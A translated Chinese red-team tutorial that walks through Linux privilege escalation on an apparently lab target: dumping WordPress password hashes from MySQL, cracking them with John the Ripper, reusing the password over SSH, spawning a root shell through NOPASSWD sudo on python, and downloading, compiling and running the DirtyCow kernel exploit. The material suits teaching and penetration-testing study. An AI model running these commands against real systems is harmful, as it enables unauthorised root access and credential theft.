翻译Linux Red Team权限提升技术-7
2023-4-2 19:8:29 Author: 网络安全交流圈(查看原文) 阅读量:19 收藏

ATT& CK权限升级技术

以下是我们将探索的关键技术和子技术列表:

  • 本地帐户

  • 利用错误配置的SUDO权限进行攻击

  • 内核漏洞

场景

我们的目标是将我们的权限提升到目标服务器上的“root”用户的权限。本地帐户
我们将利用的第一个权限提升技术是查找和破解本地帐户凭据以提升我们的权限的过程。对手可能会获取并滥用本地帐户的凭据,作为获得初始访问、持久性、权限提升或防御规避的手段。本地帐户是由组织配置的帐户,供用户、远程支持、服务使用,或用于在单个系统或服务上进行管理。

在初始开发阶段,我们能够访问目标系统上的MySQL服务器,因此,我们可以利用新发现的访问权限从WordPress数据库中转储用户帐户凭据,并测试凭据以进行密码重用。
这可以通过以下步骤完成:
1、第一步将涉及使用我们获得的凭证登录到MySQL数据库服务器。这可以通过运行以下命令来完成:
mysql -u root -p
2、登录后,我们可以通过运行以下命令选择WordPress数据库:
use wordpress;
3、我们现在可以通过运行以下命令来获取WordPress数据库中所有表的列表:
 show tables;
如下面的截图所示,这将输出WordPress数据库中所有表的列表,在本例中,我们对wp_users表感兴趣。

4、我们可以通过运行以下命令转储wp_users表的内容:
 select * from wp_users;
如下面的屏幕截图所示,这将输出WordPress用户帐户列表,他们的ID,以及他们相应的密码哈希。
鉴于我们已经破解了用户“michael”的密码,我们可以将注意力转向破解用户“steven”的密码散列。

在这种情况下,WordPress使用MD5哈希算法加密了密码,因此,我们需要破解哈希以获得用户“steven”的明文密码。

破解MD5哈希与John The Ripper

WordPress MD5密码哈希可以用John The Ripper破解。John the Ripper是一个免费的密码破解软件工具。最初是为Unix操作系统开发的。

1、第一步将涉及复制密码散列并将其粘贴到Kali VM上的文本文件中,之后,您需要将散列的相应用户名作为前缀添加到散列,如下面的屏幕截图所示。


在添加了前面屏幕截图中所示的散列之后,使用文件名hash.txt保存文本文件
2、我们现在可以使用John The Ripper通过在Kali上运行以下命令来破解哈希:
几分钟后,John The Ripper成功破解了哈希并输出了明文密码,如下面的屏幕截图所示。

在本例中,我们能够识别用户“steven”的密码是“pink84”。我们现在可以使用此密码登录WordPress,或者,我们也可以尝试通过SSH以用户“steven”的身份登录,以确定密码是否已被重用。

3、这可以通过运行以下命令来完成:

ssh [email protected]<SERVER-IP>

这将提示您为用户指定密码,在输入破解的密码后,我们能够成功进行身份验证并通过第二个本地帐户获得访问权限,从而增加了我们在目标服务器上的控制域。

快速枚举显示用户“steven”不是特权用户,但是,我们仍然可以执行其他枚举,以确定他是否具有分配给其帐户的任何特定权限。

利用错误配置的SUDO权限进行攻击
用户“steven”不是“sudo”组的一部分,也没有任何管理权限,但是,他可能有一些特定的权限分配给他的帐户,需要手动枚举。

为了获得分配给用户帐户的完整权限范围,我们可以利用以下命令:

sudo -l

或者,我们也可以通过利用一个名为LinEnum的自动枚举脚本来自动化该过程。

关于LinEnum的更多信息可以在这里找到:https://github.com/rebootuser/LinEnum.git

1、为了使用LinEnum,我们需要将其传输到我们的目标系统,这可以通过将脚本下载到Kali VM,设置本地Web服务器并将其下载到目标系统来完成。或者,您也可以通过运行以下命令将其直接下载到目标服务器:

wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
注:始终建议将脚本和工具保存到目标系统上不经常访问的文件夹中,首选目录是/tmp目录。2、将LinEnum脚本传输到目标系统后,我们需要为其提供可执行权限,这可以通过运行以下命令来完成:
chmod +x /tmp/LinEnum.sh
3、我们现在可以通过运行以下命令来执行脚本:
/tmp/LinEnum.sh
该脚本将开始执行检查并实时输出结果,之后,我们可以分析结果,以识别漏洞和错误配置,我们可以利用这些漏洞和错误配置来提升权限。
4、如下面的屏幕截图所示,我们能够识别出NOPASSWD SUDO权限已分配给用户“steven”的/usr/bin/python二进制文件。

NOPASSWD SUDO权限允许用户以“root”权限执行二进制文件或运行命令,而无需提供“root”密码。

此权限通常由系统管理员实现,以向非特权用户提供以“root”权限运行特定命令的能力,而不是向用户帐户提供管理权限。
5、在这种情况下,我们可以利用这个错误配置,通过Python IDLE/解释器生成一个特权bash会话来获得root权限。这可以通过运行以下命令来完成:
 sudo python -c 'import os; os.system("/bin/bash")'

如下面的屏幕截图所示,前面的命令将产生一个具有“root”权限的新bash会话。

通过利用配置错误的SUDO权限,我们已经成功地将我们的权限提升到本地的最高级别。

内核漏洞
我们将探索的最后一种特权提升技术是利用内核漏洞来提升我们在目标系统上的特权的过程。

这可以通过使用Metasploit等开发框架自动实现,但是,在这种情况下,我们将探索在目标上手动识别,编译和执行内核漏洞的过程。
需要注意的是,内核漏洞不是推荐或首选的升级向量,主要是因为漏洞会干扰Linux内核并与之交互,从而导致内核恐慌或数据丢失。此外,内核漏洞不是银,不能保证成功的特权升级。
1、此过程的第一步将涉及识别目标服务器上的内核漏洞,此过程可以通过使用Linux-Exploit-Suggester脚本自动执行。Linux-Exploit-Suggester是一个Linux权限提升审计工具,用于扫描目标是否存在潜在漏洞。有关此脚本的更多信息可以在这里找到:https://github.com/mzet-/linux-exploit-suggester
为了使用脚本,我们需要将其转移到目标系统,这可以通过在目标系统上运行以下命令来完成:
wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh-Oles.sh
注:始终建议将脚本和工具保存到目标系统上不经常访问的文件夹中,首选目录是/tmp目录。
2、将脚本下载到目标系统后,我们需要为脚本提供可执行权限,这可以通过运行以下命令来完成:
chmod +x /tmp/les.sh
3、我们现在可以通过运行以下命令在目标系统上执行脚本:
 /tmp/les.sh
如下面的屏幕截图所示,该脚本将输出影响目标特定内核版本和发行版的漏洞列表。

结果基于成功概率对漏洞进行排序,其中首先列出的漏洞提供了最高的成功机会,在这种情况下,我们能够将“dirtycow”漏洞识别为良好的候选者,因为它满足分布和内核版本要求。

Linux-Exploit-Suggester还为您提供了参考链接,解释了漏洞的工作原理以及他们正在利用的漏洞,此外,它还为您提供了漏洞代码的下载链接。

4、你可以通过dirtycow下载,打开以下链接利用我们KaliVM上的代码进行分析:https://www.exploit-db.com/exploits/40839

5、下载漏洞代码后,我们用文本编辑器打开它进行分析。如下面的屏幕截图所示,漏洞代码包含各种注释,这些注释解释了它的工作原理以及如何编译。

此漏洞利用创建一个具有root权限的新用户帐户,并使用dirtycow漏洞的pokemon漏洞作为基础,并自动生成一个新的passwd行。运行二进制文件时,将提示目标系统上的用户输入新密码。运行该漏洞攻击后,您应该能够使用新创建的用户登录。

6、现在我们已经了解了这个漏洞是如何工作的,我们可以将它转移到目标并编译它。这可以通过运行以下命令来完成:

 wget https://www.exploit-db.com/download/40839


7、将漏洞代码传输到目标服务器后,我们可以通过运行以下命令使用GCC(GNUC编译器)编译它:

gcc -pthread 40839.c -o exploit -lcrypt

8、如果编译成功,将创建产生的二进制文件,我们可以通过运行以下命令执行exploit二进制文件:

 chmod +x exploit ./exploit

运行该漏洞后,系统将提示您为新用户指定密码。

根据漏洞利用代码中概述的说明,如果成功,漏洞利用二进制文件应该创建一个名为“firefart”的新特权用户帐户,除非在漏洞利用代码中进行修改。
9、该漏洞将需要几秒钟的时间来执行,之后,它会提示您检查“firefart”用户帐户是否已添加,如下图所示。



在这种情况下,检查/etc/passwd文件的内容不会显示任何名为“firefart”的用户帐户,因此,我们可以推断此内核漏洞利用失败,无法为我们提供提升的用户帐户。

由于我们已经通过利用错误配置的SUDO权限获得了root权限,因此我们不需要使用此升级向量。介绍此技术的原因是为了证明并非所有升级向量和漏洞都有效,因此,在权限升级时,您需要使用多方面的方法。





文章来源: http://mp.weixin.qq.com/s?__biz=MzI1MDk3NDc5Mg==&mid=2247484532&idx=1&sn=5bf35e4ecf98b2df35c965935066d1bc&chksm=e9fb4353de8cca458a465f15d1bf6109a750667c8861b683127c136caa072376f36fae5ae5e8#rd
如有侵权请联系:admin#unsafe.sh